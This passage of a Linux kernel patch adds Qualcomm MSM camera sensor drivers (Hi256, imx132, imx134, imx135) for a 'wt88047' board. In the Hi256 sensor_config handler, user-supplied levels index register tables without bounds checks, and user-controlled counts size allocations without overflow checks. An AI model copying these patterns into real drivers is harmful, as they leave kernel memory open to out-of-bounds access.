msm_sensor_ctrl_t *s_ctrl, int value) +{ + pr_debug("%s %d", __func__, value); + hi256_i2c_write_table(s_ctrl, &HI256_reg_iso[value][0], + ARRAY_SIZE(HI256_reg_iso[value])); +} + +static void hi256_set_exposure_compensation(struct msm_sensor_ctrl_t *s_ctrl, + int value) +{ + int val = (value + 12) / 6; + pr_debug("%s %d", __func__, val); + hi256_i2c_write_table(s_ctrl, &HI256_reg_exposure_compensation[val][0], + ARRAY_SIZE(HI256_reg_exposure_compensation[val])); +} + +static void hi256_set_effect(struct msm_sensor_ctrl_t *s_ctrl, int value) +{ + pr_debug("%s %d", __func__, value); + switch (value) { + case MSM_CAMERA_EFFECT_MODE_OFF: { + hi256_i2c_write_table(s_ctrl, &HI256_reg_effect_normal[0], + ARRAY_SIZE(HI256_reg_effect_normal)); + break; + } + case MSM_CAMERA_EFFECT_MODE_MONO: { + hi256_i2c_write_table(s_ctrl, &HI256_reg_effect_black_white[0], + ARRAY_SIZE(HI256_reg_effect_black_white)); + break; + } + case MSM_CAMERA_EFFECT_MODE_NEGATIVE: { + hi256_i2c_write_table(s_ctrl, &HI256_reg_effect_negative[0], + ARRAY_SIZE(HI256_reg_effect_negative)); + break; + } + case MSM_CAMERA_EFFECT_MODE_SEPIA: { + hi256_i2c_write_table(s_ctrl, &HI256_reg_effect_old_movie[0], + ARRAY_SIZE(HI256_reg_effect_old_movie)); + break; + } + case MSM_CAMERA_EFFECT_MODE_SOLARIZE: { + hi256_i2c_write_table(s_ctrl, &HI256_reg_effect_solarize[0], + ARRAY_SIZE(HI256_reg_effect_solarize)); + break; + } + default: + hi256_i2c_write_table(s_ctrl, &HI256_reg_effect_normal[0], + ARRAY_SIZE(HI256_reg_effect_normal)); + } +} + +static void hi256_set_antibanding(struct msm_sensor_ctrl_t *s_ctrl, int value) +{ + pr_debug("%s %d", __func__, value); + hi256_i2c_write_table(s_ctrl, &HI256_reg_antibanding[value][0], + ARRAY_SIZE(HI256_reg_antibanding[value])); +} + +static void hi256_set_scene_mode(struct msm_sensor_ctrl_t *s_ctrl, int value) +{ + pr_debug("%s %d", __func__, value); + switch (value) { + case MSM_CAMERA_SCENE_MODE_OFF: { + hi256_i2c_write_table(s_ctrl, &HI256_reg_scene_auto[0], + ARRAY_SIZE(HI256_reg_scene_auto)); + break; + } + case MSM_CAMERA_SCENE_MODE_NIGHT: { + hi256_i2c_write_table(s_ctrl, &HI256_reg_scene_night[0], + ARRAY_SIZE(HI256_reg_scene_night)); + break; + } + case MSM_CAMERA_SCENE_MODE_LANDSCAPE: { + hi256_i2c_write_table(s_ctrl, &HI256_reg_scene_landscape[0], + ARRAY_SIZE(HI256_reg_scene_landscape)); + break; + } + case MSM_CAMERA_SCENE_MODE_PORTRAIT: { + hi256_i2c_write_table(s_ctrl, &HI256_reg_scene_portrait[0], + ARRAY_SIZE(HI256_reg_scene_portrait)); + break; + } + default: + hi256_i2c_write_table(s_ctrl, &HI256_reg_scene_auto[0], + ARRAY_SIZE(HI256_reg_scene_auto)); + } +} + +static void hi256_set_white_balance_mode(struct msm_sensor_ctrl_t *s_ctrl, + int value) +{ + pr_debug("%s %d", __func__, value); + switch (value) { + case MSM_CAMERA_WB_MODE_AUTO: { + hi256_i2c_write_table(s_ctrl, &HI256_reg_wb_auto[0], + ARRAY_SIZE(HI256_reg_wb_auto)); + break; + } + case MSM_CAMERA_WB_MODE_INCANDESCENT: { + hi256_i2c_write_table(s_ctrl, &HI256_reg_wb_home[0], + ARRAY_SIZE(HI256_reg_wb_home)); + break; + } + case MSM_CAMERA_WB_MODE_DAYLIGHT: { + hi256_i2c_write_table(s_ctrl, &HI256_reg_wb_sunny[0], + ARRAY_SIZE(HI256_reg_wb_sunny)); + break; + } + case MSM_CAMERA_WB_MODE_FLUORESCENT: { + hi256_i2c_write_table(s_ctrl, &HI256_reg_wb_office[0], + ARRAY_SIZE(HI256_reg_wb_office)); + break; + } + case MSM_CAMERA_WB_MODE_CLOUDY_DAYLIGHT: { + hi256_i2c_write_table(s_ctrl, &HI256_reg_wb_cloudy[0], + ARRAY_SIZE(HI256_reg_wb_cloudy)); + break; + } + default: + hi256_i2c_write_table(s_ctrl, &HI256_reg_wb_auto[0], + ARRAY_SIZE(HI256_reg_wb_auto)); + } +} + +int32_t hi256_sensor_config(struct msm_sensor_ctrl_t *s_ctrl, + void __user *argp) +{ + struct sensorb_cfg_data *cdata = (struct sensorb_cfg_data *)argp; + int32_t rc = 0; + int32_t i = 0; + mutex_lock(s_ctrl->msm_sensor_mutex); + CDBG("%s:%d %s cfgtype = %d\n", __func__, __LINE__, + s_ctrl->sensordata->sensor_name, cdata->cfgtype); + switch (cdata->cfgtype) { + case CFG_GET_SENSOR_INFO: + memcpy(cdata->cfg.sensor_info.sensor_name, + s_ctrl->sensordata->sensor_name, + sizeof(cdata->cfg.sensor_info.sensor_name)); + cdata->cfg.sensor_info.session_id = + s_ctrl->sensordata->sensor_info->session_id; + for (i = 0; i < SUB_MODULE_MAX; i++) + cdata->cfg.sensor_info.subdev_id[i] = + s_ctrl->sensordata->sensor_info->subdev_id[i]; + cdata->cfg.sensor_info.is_mount_angle_valid = + s_ctrl->sensordata->sensor_info->is_mount_angle_valid; + cdata->cfg.sensor_info.sensor_mount_angle = + s_ctrl->sensordata->sensor_info->sensor_mount_angle; + CDBG("%s:%d sensor name %s\n", __func__, __LINE__, + cdata->cfg.sensor_info.sensor_name); + CDBG("%s:%d session id %d\n", __func__, __LINE__, + cdata->cfg.sensor_info.session_id); + for (i = 0; i < SUB_MODULE_MAX; i++) + CDBG("%s:%d subdev_id[%d] %d\n", __func__, __LINE__, i, + cdata->cfg.sensor_info.subdev_id[i]); + CDBG("%s:%d mount angle valid %d value %d\n", __func__, + __LINE__, cdata->cfg.sensor_info.is_mount_angle_valid, + cdata->cfg.sensor_info.sensor_mount_angle); + + break; + case CFG_SET_INIT_SETTING: + CDBG("init setting"); + hi256_i2c_write_table(s_ctrl, + &hi256_recommend_settings[0], + ARRAY_SIZE(hi256_recommend_settings)); + CDBG("init setting X"); + break; + case CFG_SET_RESOLUTION: { + int val = 0; + if (copy_from_user(&val, + (void *)cdata->cfg.setting, sizeof(int))) { + pr_err("%s:%d failed\n", __func__, __LINE__); + rc = -EFAULT; + break; + } + if (val == 0) + hi256_i2c_write_table(s_ctrl, &hi256_uxga_settings[0], + ARRAY_SIZE(hi256_uxga_settings)); + else if (val == 1) + hi256_i2c_write_table(s_ctrl, &hi256_svga_settings[0], + ARRAY_SIZE(hi256_svga_settings)); + break; + } + case CFG_SET_STOP_STREAM: + hi256_i2c_write_table(s_ctrl, + &hi256_stop_settings[0], + ARRAY_SIZE(hi256_stop_settings)); + break; + case CFG_SET_START_STREAM: + hi256_i2c_write_table(s_ctrl, + &hi256_start_settings[0], + ARRAY_SIZE(hi256_start_settings)); + break; + case CFG_GET_SENSOR_INIT_PARAMS: + cdata->cfg.sensor_init_params.modes_supported = + s_ctrl->sensordata->sensor_info->modes_supported; + cdata->cfg.sensor_init_params.position = + s_ctrl->sensordata->sensor_info->position; + cdata->cfg.sensor_init_params.sensor_mount_angle = + s_ctrl->sensordata->sensor_info->sensor_mount_angle; + CDBG("%s:%d init params mode %d pos %d mount %d\n", __func__, + __LINE__, + cdata->cfg.sensor_init_params.modes_supported, + cdata->cfg.sensor_init_params.position, + cdata->cfg.sensor_init_params.sensor_mount_angle); + break; + case CFG_SET_SLAVE_INFO: { + struct msm_camera_sensor_slave_info sensor_slave_info; + struct msm_sensor_power_setting_array *power_setting_array; + int slave_index = 0; + if (copy_from_user(&sensor_slave_info, + (void *)cdata->cfg.setting, + sizeof(struct msm_camera_sensor_slave_info))) { + pr_err("%s:%d failed\n", __func__, __LINE__); + rc = -EFAULT; + break; + } + /* Update sensor slave address */ + if (sensor_slave_info.slave_addr) { + s_ctrl->sensor_i2c_client->cci_client->sid = + sensor_slave_info.slave_addr >> 1; + } + + /* Update sensor address type */ + s_ctrl->sensor_i2c_client->addr_type = + sensor_slave_info.addr_type; + + /* Update power up / down sequence */ + s_ctrl->power_setting_array = + sensor_slave_info.power_setting_array; + power_setting_array = &s_ctrl->power_setting_array; + power_setting_array->power_setting = kzalloc( + power_setting_array->size * + sizeof(struct msm_sensor_power_setting), GFP_KERNEL); + if (!power_setting_array->power_setting) { + pr_err("%s:%d failed\n", __func__, __LINE__); + rc = -ENOMEM; + break; + } + if (copy_from_user(power_setting_array->power_setting, + (void *) + sensor_slave_info.power_setting_array.power_setting, + power_setting_array->size * + sizeof(struct msm_sensor_power_setting))) { + kfree(power_setting_array->power_setting); + pr_err("%s:%d failed\n", __func__, __LINE__); + rc = -EFAULT; + break; + } + CDBG("%s sensor id 0x%x\n", __func__, + sensor_slave_info.slave_addr); + CDBG("%s sensor addr type %d\n", __func__, + sensor_slave_info.addr_type); + CDBG("%s sensor reg 0x%x\n", __func__, + sensor_slave_info.sensor_id_info.sensor_id_reg_addr); + CDBG("%s sensor id 0x%x\n", __func__, + sensor_slave_info.sensor_id_info.sensor_id); + for (slave_index = 0; slave_index < + power_setting_array->size; slave_index++) { + CDBG("%s i %d power setting %d %d %ld %d\n", __func__, + slave_index, + power_setting_array->power_setting[slave_index]. + seq_type, + power_setting_array->power_setting[slave_index]. + seq_val, + power_setting_array->power_setting[slave_index]. + config_val, + power_setting_array->power_setting[slave_index]. + delay); + } + kfree(power_setting_array->power_setting); + break; + } + case CFG_WRITE_I2C_ARRAY: { + struct msm_camera_i2c_reg_setting conf_array; + struct msm_camera_i2c_reg_array *reg_setting = NULL; + + if (copy_from_user(&conf_array, + (void *)cdata->cfg.setting, + sizeof(struct msm_camera_i2c_reg_setting))) { + pr_err("%s:%d failed\n", __func__, __LINE__); + rc = -EFAULT; + break; + } + + reg_setting = kzalloc(conf_array.size * + (sizeof(struct msm_camera_i2c_reg_array)), GFP_KERNEL); + if (!reg_setting) { + pr_err("%s:%d failed\n", __func__, __LINE__); + rc = -ENOMEM; + break; + } + if (copy_from_user(reg_setting, (void *)conf_array.reg_setting, + conf_array.size * + sizeof(struct msm_camera_i2c_reg_array))) { + pr_err("%s:%d failed\n", __func__, __LINE__); + kfree(reg_setting); + rc = -EFAULT; + break; + } + + conf_array.reg_setting = reg_setting; + rc = s_ctrl->sensor_i2c_client->i2c_func_tbl->i2c_write_table( + s_ctrl->sensor_i2c_client, &conf_array); + kfree(reg_setting); + break; + } + case CFG_WRITE_I2C_SEQ_ARRAY: { + struct msm_camera_i2c_seq_reg_setting conf_array; + struct msm_camera_i2c_seq_reg_array *reg_setting = NULL; + + if (copy_from_user(&conf_array, + (void *)cdata->cfg.setting, + sizeof(struct msm_camera_i2c_seq_reg_setting))) { + pr_err("%s:%d failed\n", __func__, __LINE__); + rc = -EFAULT; + break; + } + + reg_setting = kzalloc(conf_array.size * + (sizeof(struct msm_camera_i2c_seq_reg_array)), + GFP_KERNEL); + if (!reg_setting) { + pr_err("%s:%d failed\n", __func__, __LINE__); + rc = -ENOMEM; + break; + } + if (copy_from_user(reg_setting, (void *)conf_array.reg_setting, + conf_array.size * + sizeof(struct msm_camera_i2c_seq_reg_array))) { + pr_err("%s:%d failed\n", __func__, __LINE__); + kfree(reg_setting); + rc = -EFAULT; + break; + } + + conf_array.reg_setting = reg_setting; + rc = s_ctrl->sensor_i2c_client->i2c_func_tbl-> + i2c_write_seq_table(s_ctrl->sensor_i2c_client, + &conf_array); + kfree(reg_setting); + break; + } + + case CFG_POWER_UP: + if (s_ctrl->func_tbl->sensor_power_up) + rc = s_ctrl->func_tbl->sensor_power_up(s_ctrl); + else + rc = -EFAULT; + break; + + case CFG_POWER_DOWN: + if (s_ctrl->func_tbl->sensor_power_down) + rc = s_ctrl->func_tbl->sensor_power_down(s_ctrl); + else + rc = -EFAULT; + break; + + case CFG_SET_STOP_STREAM_SETTING: { + struct msm_camera_i2c_reg_setting *stop_setting = + &s_ctrl->stop_setting; + struct msm_camera_i2c_reg_array *reg_setting = NULL; + if (copy_from_user(stop_setting, (void *)cdata->cfg.setting, + sizeof(struct msm_camera_i2c_reg_setting))) { + pr_err("%s:%d failed\n", __func__, __LINE__); + rc = -EFAULT; + break; + } + + reg_setting = stop_setting->reg_setting; + stop_setting->reg_setting = kzalloc(stop_setting->size * + (sizeof(struct msm_camera_i2c_reg_array)), GFP_KERNEL); + if (!stop_setting->reg_setting) { + pr_err("%s:%d failed\n", __func__, __LINE__); + rc = -ENOMEM; + break; + } + if (copy_from_user(stop_setting->reg_setting, + (void *)reg_setting, stop_setting->size * + sizeof(struct msm_camera_i2c_reg_array))) { + pr_err("%s:%d failed\n", __func__, __LINE__); + kfree(stop_setting->reg_setting); + stop_setting->reg_setting = NULL; + stop_setting->size = 0; + rc = -EFAULT; + break; + } + break; + } + case CFG_SET_SATURATION: { + int32_t sat_lev; + if (copy_from_user(&sat_lev, (void *)cdata->cfg.setting, + sizeof(int32_t))) { + pr_err("%s:%d failed\n", __func__, __LINE__); + rc = -EFAULT; + break; + } + pr_debug("%s: Saturation Value is %d", __func__, sat_lev); + hi256_set_stauration(s_ctrl, sat_lev); + break; + } + case CFG_SET_CONTRAST: { + int32_t con_lev; + if (copy_from_user(&con_lev, (void *)cdata->cfg.setting, + sizeof(int32_t))) { + pr_err("%s:%d failed\n", __func__, __LINE__); + rc = -EFAULT; + break; + } + pr_debug("%s: Contrast Value is %d", __func__, con_lev); + hi256_set_contrast(s_ctrl, con_lev); + break; + } + case CFG_SET_SHARPNESS: { + int32_t shp_lev; + if (copy_from_user(&shp_lev, (void *)cdata->cfg.setting, + sizeof(int32_t))) { + pr_err("%s:%d failed\n", __func__, __LINE__); + rc = -EFAULT; + break; + } + pr_debug("%s: Sharpness Value is %d", __func__, shp_lev); + hi256_set_sharpness(s_ctrl, shp_lev); + break; + } + case CFG_SET_ISO: { + int32_t iso_lev; + if (copy_from_user(&iso_lev, (void *)cdata->cfg.setting, + sizeof(int32_t))) { + pr_err("%s:%d failed\n", __func__, __LINE__); + rc = -EFAULT; + break; + } + pr_debug("%s: ISO Value is %d", __func__, iso_lev); + hi256_set_iso(s_ctrl, iso_lev); + break; + } + case CFG_SET_EXPOSURE_COMPENSATION: { + int32_t ec_lev; + if (copy_from_user(&ec_lev, (void *)cdata->cfg.setting, + sizeof(int32_t))) { + pr_err("%s:%d failed\n", __func__, __LINE__); + rc = -EFAULT; + break; + } + pr_debug("%s: Exposure compensation Value is %d", + __func__, ec_lev); + hi256_set_exposure_compensation(s_ctrl, ec_lev); + break; + } + case CFG_SET_EFFECT: { + int32_t effect_mode; + if (copy_from_user(&effect_mode, (void *)cdata->cfg.setting, + sizeof(int32_t))) { + pr_err("%s:%d failed\n", __func__, __LINE__); + rc = -EFAULT; + break; + } + pr_debug("%s: Effect mode is %d", __func__, effect_mode); + hi256_set_effect(s_ctrl, effect_mode); + break; + } + case CFG_SET_ANTIBANDING: { + int32_t antibanding_mode; + if (copy_from_user(&antibanding_mode, + (void *)cdata->cfg.setting, + sizeof(int32_t))) { + pr_err("%s:%d failed\n", __func__, __LINE__); + rc = -EFAULT; + break; + } + pr_debug("%s: anti-banding mode is %d", __func__, + antibanding_mode); + hi256_set_antibanding(s_ctrl, antibanding_mode); + break; + } + case CFG_SET_BESTSHOT_MODE: { + int32_t bs_mode; + if (copy_from_user(&bs_mode, (void *)cdata->cfg.setting, + sizeof(int32_t))) { + pr_err("%s:%d failed\n", __func__, __LINE__); + rc = -EFAULT; + break; + } + pr_debug("%s: best shot mode is %d", __func__, bs_mode); + hi256_set_scene_mode(s_ctrl, bs_mode); + break; + } + case CFG_SET_WHITE_BALANCE: { + int32_t wb_mode; + if (copy_from_user(&wb_mode, (void *)cdata->cfg.setting, + sizeof(int32_t))) { + pr_err("%s:%d failed\n", __func__, __LINE__); + rc = -EFAULT; + break; + } + pr_debug("%s: white balance is %d", __func__, wb_mode); + hi256_set_white_balance_mode(s_ctrl, wb_mode); + break; + } + default: + rc = -EFAULT; + break; + } + + mutex_unlock(s_ctrl->msm_sensor_mutex); + + return rc; +} + +static struct msm_sensor_fn_t hi256_sensor_func_tbl = { + .sensor_config = hi256_sensor_config, + .sensor_power_up = msm_sensor_power_up, + .sensor_power_down = hi256_sensor_power_down, + .sensor_match_id = hi256_sensor_match_id, +}; + +static struct msm_sensor_ctrl_t hi256_s_ctrl = { + .sensor_i2c_client = &hi256_sensor_i2c_client, + .power_setting_array.power_setting = hi256_power_setting, + .power_setting_array.size = ARRAY_SIZE(hi256_power_setting), + .msm_sensor_mutex = &hi256_mut, + .sensor_v4l2_subdev_info = hi256_subdev_info, + .sensor_v4l2_subdev_info_size = ARRAY_SIZE(hi256_subdev_info), + .func_tbl = &hi256_sensor_func_tbl, +}; + +module_init(hi256_init_module); +module_exit(hi256_exit_module); +MODULE_DESCRIPTION("Hi256 2MP YUV sensor driver"); +MODULE_LICENSE("GPL v2"); diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/imx132.c b/drivers/media/platform/msm/camera_wt88047_v2/sensor/imx132.c new file mode 100644 index 0000000000000..f9d057ac403c8 --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/imx132.c @@ -0,0 +1,154 @@ +/* Copyright (c) 2013, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + */ +#include "msm_sensor.h" +#define IMX132_SENSOR_NAME "imx132" +DEFINE_MSM_MUTEX(imx132_mut); + +static struct msm_sensor_ctrl_t imx132_s_ctrl; + +static struct msm_sensor_power_setting imx132_power_setting[] = { + { + .seq_type = SENSOR_VREG, + .seq_val = CAM_VANA, + .config_val = 0, + .delay = 0, + }, + { + .seq_type = SENSOR_VREG, + .seq_val = CAM_VDIG, + .config_val = 0, + .delay = 0, + }, + { + .seq_type = SENSOR_VREG, + .seq_val = CAM_VIO, + .config_val = 0, + .delay = 0, + }, + { + .seq_type = SENSOR_GPIO, + .seq_val = SENSOR_GPIO_RESET, + .config_val = GPIO_OUT_LOW, + .delay = 1, + }, + { + .seq_type = SENSOR_GPIO, + .seq_val = SENSOR_GPIO_RESET, + .config_val = GPIO_OUT_HIGH, + .delay = 5, + }, + { + .seq_type = SENSOR_CLK, + .seq_val = SENSOR_CAM_MCLK, + .config_val = 0, + .delay = 1, + }, + { + .seq_type = SENSOR_I2C_MUX, + .seq_val = 0, + .config_val = 0, + .delay = 0, + }, +}; + +static struct v4l2_subdev_info imx132_subdev_info[] = { + { + .code = V4L2_MBUS_FMT_SRGGB10_1X10, + .colorspace = V4L2_COLORSPACE_JPEG, + .fmt = 1, + .order = 0, + }, +}; + +static const struct i2c_device_id imx132_i2c_id[] = { + {IMX132_SENSOR_NAME, (kernel_ulong_t)&imx132_s_ctrl}, + { } +}; + +static int32_t msm_imx132_i2c_probe(struct i2c_client *client, + const struct i2c_device_id *id) +{ + return msm_sensor_i2c_probe(client, id, &imx132_s_ctrl); +} +static struct i2c_driver imx132_i2c_driver = { + .id_table = imx132_i2c_id, + .probe = msm_imx132_i2c_probe, + .driver = { + .name = IMX132_SENSOR_NAME, + }, +}; + +static struct msm_camera_i2c_client imx132_sensor_i2c_client = { + .addr_type = MSM_CAMERA_I2C_WORD_ADDR, +}; + +static const struct of_device_id imx132_dt_match[] = { + {.compatible = "qcom,imx132", .data = &imx132_s_ctrl}, + {} +}; + +MODULE_DEVICE_TABLE(of, imx132_dt_match); + +static struct platform_driver imx132_platform_driver = { + .driver = { + .name = "qcom,imx132", + .owner = THIS_MODULE, + .of_match_table = imx132_dt_match, + }, +}; + +static int32_t imx132_platform_probe(struct platform_device *pdev) +{ + int32_t rc = 0; + const struct of_device_id *match; + match = of_match_device(imx132_dt_match, &pdev->dev); + rc = msm_sensor_platform_probe(pdev, match->data); + return rc; +} + +static int __init imx132_init_module(void) +{ + int32_t rc = 0; + pr_info("%s:%d\n", __func__, __LINE__); + rc = platform_driver_probe(&imx132_platform_driver, + imx132_platform_probe); + if (!rc) + return rc; + pr_err("%s:%d rc %d\n", __func__, __LINE__, rc); + return i2c_add_driver(&imx132_i2c_driver); +} + +static void __exit imx132_exit_module(void) +{ + pr_info("%s:%d\n", __func__, __LINE__); + if (imx132_s_ctrl.pdev) { + msm_sensor_free_sensor_data(&imx132_s_ctrl); + platform_driver_unregister(&imx132_platform_driver); + } else + i2c_del_driver(&imx132_i2c_driver); + return; +} + +static struct msm_sensor_ctrl_t imx132_s_ctrl = { + .sensor_i2c_client = &imx132_sensor_i2c_client, + .power_setting_array.power_setting = imx132_power_setting, + .power_setting_array.size = ARRAY_SIZE(imx132_power_setting), + .msm_sensor_mutex = &imx132_mut, + .sensor_v4l2_subdev_info = imx132_subdev_info, + .sensor_v4l2_subdev_info_size = ARRAY_SIZE(imx132_subdev_info), +}; + +module_init(imx132_init_module); +module_exit(imx132_exit_module); +MODULE_DESCRIPTION("imx132"); +MODULE_LICENSE("GPL v2"); diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/imx134.c b/drivers/media/platform/msm/camera_wt88047_v2/sensor/imx134.c new file mode 100644 index 0000000000000..17a50889a88af --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/imx134.c @@ -0,0 +1,174 @@ +/* Copyright (c) 2013, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + */ +#include "msm_sensor.h" +#define IMX134_SENSOR_NAME "imx134" +DEFINE_MSM_MUTEX(imx134_mut); + +static struct msm_sensor_ctrl_t imx134_s_ctrl; + +static struct msm_sensor_power_setting imx134_power_setting[] = { + { + .seq_type = SENSOR_VREG, + .seq_val = CAM_VDIG, + .config_val = 0, + .delay = 0, + }, + { + .seq_type = SENSOR_VREG, + .seq_val = CAM_VANA, + .config_val = 0, + .delay = 0, + }, + { + .seq_type = SENSOR_VREG, + .seq_val = CAM_VIO, + .config_val = 0, + .delay = 0, + }, + { + .seq_type = SENSOR_VREG, + .seq_val = CAM_VAF, + .config_val = 0, + .delay = 0, + }, + { + .seq_type = SENSOR_GPIO, + .seq_val = SENSOR_GPIO_RESET, + .config_val = GPIO_OUT_LOW, + .delay = 1, + }, + { + .seq_type = SENSOR_GPIO, + .seq_val = SENSOR_GPIO_RESET, + .config_val = GPIO_OUT_HIGH, + .delay = 30, + }, + { + .seq_type = SENSOR_GPIO, + .seq_val = SENSOR_GPIO_STANDBY, + .config_val = GPIO_OUT_LOW, + .delay = 1, + }, + { + .seq_type = SENSOR_GPIO, + .seq_val = SENSOR_GPIO_STANDBY, + .config_val = GPIO_OUT_HIGH, + .delay = 30, + }, + { + .seq_type = SENSOR_CLK, + .seq_val = SENSOR_CAM_MCLK, + .config_val = 0, + .delay = 1, + }, + { + .seq_type = SENSOR_I2C_MUX, + .seq_val = 0, + .config_val = 0, + .delay = 0, + }, +}; + +static struct v4l2_subdev_info imx134_subdev_info[] = { + { + .code = V4L2_MBUS_FMT_SBGGR10_1X10, + .colorspace = V4L2_COLORSPACE_JPEG, + .fmt = 1, + .order = 0, + }, +}; + +static const struct i2c_device_id imx134_i2c_id[] = { + {IMX134_SENSOR_NAME, (kernel_ulong_t)&imx134_s_ctrl}, + { } +}; + +static int32_t msm_imx134_i2c_probe(struct i2c_client *client, + const struct i2c_device_id *id) +{ + return msm_sensor_i2c_probe(client, id, &imx134_s_ctrl); +} + +static struct i2c_driver imx134_i2c_driver = { + .id_table = imx134_i2c_id, + .probe = msm_imx134_i2c_probe, + .driver = { + .name = IMX134_SENSOR_NAME, + }, +}; + +static struct msm_camera_i2c_client imx134_sensor_i2c_client = { + .addr_type = MSM_CAMERA_I2C_WORD_ADDR, +}; + +static const struct of_device_id imx134_dt_match[] = { + {.compatible = "sne,imx134", .data = &imx134_s_ctrl}, + {} +}; + +MODULE_DEVICE_TABLE(of, imx134_dt_match); + +static struct platform_driver imx134_platform_driver = { + .driver = { + .name = "sne,imx134", + .owner = THIS_MODULE, + .of_match_table = imx134_dt_match, + }, +}; + +static int32_t imx134_platform_probe(struct platform_device *pdev) +{ + int32_t rc = 0; + const struct of_device_id *match; + match = of_match_device(imx134_dt_match, &pdev->dev); + rc = msm_sensor_platform_probe(pdev, match->data); + return rc; +} + +static int __init imx134_init_module(void) +{ + int32_t rc = 0; + pr_debug("%s:%d\n", __func__, __LINE__); + rc = platform_driver_probe(&imx134_platform_driver, + imx134_platform_probe); + if (!rc) + return rc; + pr_debug("%s:%d rc %d\n", __func__, __LINE__, rc); + return i2c_add_driver(&imx134_i2c_driver); +} + +static void __exit imx134_exit_module(void) +{ + pr_debug("%s:%d\n", __func__, __LINE__); + if (imx134_s_ctrl.pdev) { + msm_sensor_free_sensor_data(&imx134_s_ctrl); + platform_driver_unregister(&imx134_platform_driver); + } else { + i2c_del_driver(&imx134_i2c_driver); + } + return; +} + +static struct msm_sensor_ctrl_t imx134_s_ctrl = { + .sensor_i2c_client = &imx134_sensor_i2c_client, + .power_setting_array.power_setting = imx134_power_setting, + .power_setting_array.size = ARRAY_SIZE(imx134_power_setting), + .msm_sensor_mutex = &imx134_mut, + .sensor_v4l2_subdev_info = imx134_subdev_info, + .sensor_v4l2_subdev_info_size = ARRAY_SIZE(imx134_subdev_info), +}; + +module_init(imx134_init_module); +module_exit(imx134_exit_module); +MODULE_DESCRIPTION("imx134"); +MODULE_LICENSE("GPL v2"); diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/imx135.c b/drivers/media/platform/msm/camera_wt88047_v2/sensor/imx135.c new file mode 100644 index 0000000000000..c26e4fffbd4f2 --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/imx135.c @@ -0,0 +1,173 @@ +/* Copyright (c) 2013, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + */ +#include "msm_sensor.h" +#define IMX135_SENSOR_NAME "imx135" +DEFINE_MSM_MUTEX(imx135_mut); + +static struct msm_sensor_ctrl_t imx135_s_ctrl; + +static struct msm_sensor_power_setting imx135_power_setting[] = { + { + .seq_type = SENSOR_VREG, + .seq_val = CAM_VDIG, + .config_val = 0, + .delay = 0, + }, + { + .seq_type = SENSOR_VREG, + .seq_val = CAM_VANA, + .config_val = 0, + .delay = 0, + }, + { + .seq_type = SENSOR_VREG, + .seq_val = CAM_VIO, + .config_val = 0, + .delay = 0, + }, + { + .seq_type = SENSOR_VREG, + .seq_val = CAM_VAF, + .config_val = 0, + .delay = 0, + }, + { + .seq_type = SENSOR_GPIO, + .seq_val = SENSOR_GPIO_RESET, + .config_val = GPIO_OUT_LOW, + .delay = 1, + }, + { + .seq_type = SENSOR_GPIO, + .seq_val = SENSOR_GPIO_RESET, + .config_val = GPIO_OUT_HIGH, + .delay = 30, + }, + { + .seq_type = SENSOR_GPIO, + .seq_val = SENSOR_GPIO_STANDBY, + .config_val = GPIO_OUT_LOW, + .delay = 1, + }, + { + .seq_type = SENSOR_GPIO, + .seq_val = SENSOR_GPIO_STANDBY, + .config_val = GPIO_OUT_HIGH, + .delay = 30, + }, + { + .seq_type = SENSOR_CLK, + .seq_val = SENSOR_CAM_MCLK, + .config_val = 24000000, + .delay = 1, + }, + { + .seq_type = SENSOR_I2C_MUX, + .seq_val = 0, + .config_val = 0, + .delay = 0, + }, +}; + +static struct v4l2_subdev_info imx135_subdev_info[] = { + { + .code = V4L2_MBUS_FMT_SBGGR10_1X10, + .colorspace = V4L2_COLORSPACE_JPEG, + .fmt = 1, + .order = 0, + }, +}; + +static const struct i2c_device_id imx135_i2c_id[] = { + {IMX135_SENSOR_NAME, (kernel_ulong_t)&imx135_s_ctrl}, + { } +}; + +static int32_t msm_imx135_i2c_probe(struct i2c_client *client, + const struct i2c_device_id *id) +{ + return msm_sensor_i2c_probe(client, id, &imx135_s_ctrl); +} + +static struct i2c_driver imx135_i2c_driver = { + .id_table = imx135_i2c_id, + .probe = msm_imx135_i2c_probe, + .driver = { + .name = IMX135_SENSOR_NAME, + }, +}; + +static struct msm_camera_i2c_client imx135_sensor_i2c_client = { + .addr_type = MSM_CAMERA_I2C_WORD_ADDR, +}; + +static const struct of_device_id imx135_dt_match[] = { + {.compatible = "qcom,imx135", .data = &imx135_s_ctrl}, + {} +}; + +MODULE_DEVICE_TABLE(of, imx135_dt_match); + +static struct platform_driver imx135_platform_driver = { + .driver = { + .name = "qcom,imx135", + .owner = THIS_MODULE, + .of_match_table = imx135_dt_match, + }, +}; + +static int32_t imx135_platform_probe(struct platform_device *pdev) +{ + int32_t rc = 0; + const struct of_device_id *match; + match = of_match_device(imx135_dt_match, &pdev->dev); + rc = msm_sensor_platform_probe(pdev, match->data); + return rc; +} + +static int __init imx135_init_module(void) +{ + int32_t rc = 0; + pr_info("%s:%d\n", __func__, __LINE__); + rc = platform_driver_probe(&imx135_platform_driver, + imx135_platform_probe); + if (!rc) + return rc; + pr_err("%s:%d rc %d\n", __func__, __LINE__, rc); + return 